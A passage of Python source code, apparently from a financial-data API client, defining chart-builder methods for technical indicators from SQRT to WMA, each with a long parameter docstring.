start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_sqrt( self, exchange=None, country=None, series_type="close", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of SQRT to chart builder Square Root(SQRT) transform input data with square root. This API call returns meta and time series values of SQRT. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = SQRTEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_stddev( self, exchange=None, country=None, series_type="close", time_period=9, sd="2", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of STDDEV to chart builder Standard Deviation(STDDEV) is used to measure volatility. Might be important when assessing risks. This API call returns meta and time series values of STDDEV. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param sd: Number of standard deviations. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = STDDEVEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, sd=sd, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_stoch( self, exchange=None, country=None, fast_k_period="14", slow_k_period="1", slow_d_period="3", slow_kma_type="SMA", slow_dma_type="SMA", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of STOCH to chart builder Stochastic Oscillator(STOCH) is used to decide if the price trend is strong. This API call returns meta and time series values of STOCH. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param fast_k_period: :param slow_k_period: :param slow_d_period: :param slow_kma_type: :param slow_dma_type: :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = STOCHEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, fast_k_period=fast_k_period, slow_k_period=slow_k_period, slow_d_period=slow_d_period, slow_kma_type=slow_kma_type, slow_dma_type=slow_dma_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_stochf( self, exchange=None, country=None, fast_k_period="14", fast_d_period="3", fast_dma_type="SMA", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of STOCHF to chart builder Stochastic Fast(STOCHF) is more sensitive to price changes, therefore it changes direction more quickly. This API call returns meta and time series values of STOCHF. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param fast_k_period: :param fast_d_period: :param fast_dma_type: :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = STOCHFEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, fast_k_period=fast_k_period, fast_d_period=fast_d_period, fast_dma_type=fast_dma_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_stochrsi( self, exchange=None, country=None, series_type="close", time_period=14, fast_k_period="3", fast_d_period="3", fast_dma_type="SMA", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of STOCHRSI to chart builder Stochastic RSI(STOCHRSI) this indicator takes advantages of both indicators STOCH and RSI. It is used to determine level of overbought and oversold as well as current market trend of an asset. This API call returns meta and time series values of STOCHRSI. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param fast_k_period: :param fast_d_period: :param fast_dma_type: :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = STOCHRSIEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, fast_k_period=fast_k_period, fast_d_period=fast_d_period, fast_dma_type=fast_dma_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_supertrend( self, exchange=None, country=None, multiplier=3, period=10, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of SuperTrend to chart builder SuperTrend Indicator(SUPERTREND) is mostly used on intraday timeframes to detect the price upward or downward direction in the trending market. This API call returns meta and time series values of SuperTrend. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param multiplier: Multiplier is the number by which the range is multiplied :param period: Period of the ATR indicator :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = SuperTrendEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, multiplier=multiplier, period=period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_t3ma( self, exchange=None, country=None, series_type="close", time_period=9, v_factor="0.7", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of T3MA to chart builder T3MA(T3MA). This API call returns meta and time series values of T3MA. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param v_factor: :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = T3MAEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, v_factor=v_factor, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_tema( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of TEMA to chart builder Triple Exponential Moving Average(TEMA) it smooths out price fluctuations, making it more trend detection more transparent without the lag. This API call returns meta and time series values of TEMA. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = TEMAEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_trange( self, exchange=None, country=None, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of TRANGE to chart builder True Range(TRANGE) usually is used as the base when calculating other indicators. TRANGE determines the normal trading range of an asset. This API call returns meta and time series values of TRANGE. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = TRANGEEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_trima( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of TRIMA to chart builder Triangular Moving Average(TRIMA) it smooths out price fluctuations, but places more weight on the prices in middle of the time period. This API call returns meta and time series values of TRIMA. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = TRIMAEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_tsf( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of TSF to chart builder Time Series Forecast(TSF) calculates trend based on last points of multiple regression trendlines. This API call returns meta and time series values of TSF. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = TSFEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_typprice( self, exchange=None, country=None, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of TYPPRICE to chart builder Typical Price(TYPPRICE). This API call returns meta and time series values of TYPPRICE. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = TYPPRICEEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_ultosc( self, exchange=None, country=None, time_period_1="7", time_period_2="14", time_period_3="28", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of ULTOSC to chart builder Ultimate Oscillator(ULTOSC) takes into account three different time periods to enhance quality of overbought and oversold signals. This API call returns meta and time series values of ULTOSC. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param time_period_1: Number of periods to average over. Must be at least 1 :param time_period_2: Number of periods to average over. Must be at least 1 :param time_period_3: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = ULTOSCEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, time_period_1=time_period_1, time_period_2=time_period_2, time_period_3=time_period_3, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_var( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of VAR to chart builder Variance(VAR) calculates the spread between data points to determine how far are they from the mean. This API call returns meta and time series values of VAR. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = VAREndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_vwap( self, exchange=None, country=None, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of VWAP to chart builder Volume Weighted Average Price(VWAP) is commonly used as a trading benchmark that gives an average price at which the instrument has been trading during the day. This API call returns meta and time series values of VWAP. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = VWAPEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_wclprice( self, exchange=None, country=None, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of WCLPRICE to chart builder Weighted Close Price(WCLPRICE) usually is used as the base for other indicators for smoothness. Formula: (high + low + close * 2) / 4. This API call returns meta and time series values of WCLPRICE. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :returns: chart builder :rtype: ChartEndpoint """ ep = WCLPRICEEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_willr( self, exchange=None, country=None, time_period=14, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of WILLR to chart builder Williams %R(WILLR) calculates overbought and oversold levels. It can also be used to find entry and exit signals. This API call returns meta and time series values of WILLR. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = WILLREndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_wma( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of WMA to chart builder Weighted Moving Average(WMA) it smooths out price fluctuations, it puts more weight on recent data points and less on past. This API call returns meta and time series values of WMA. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is 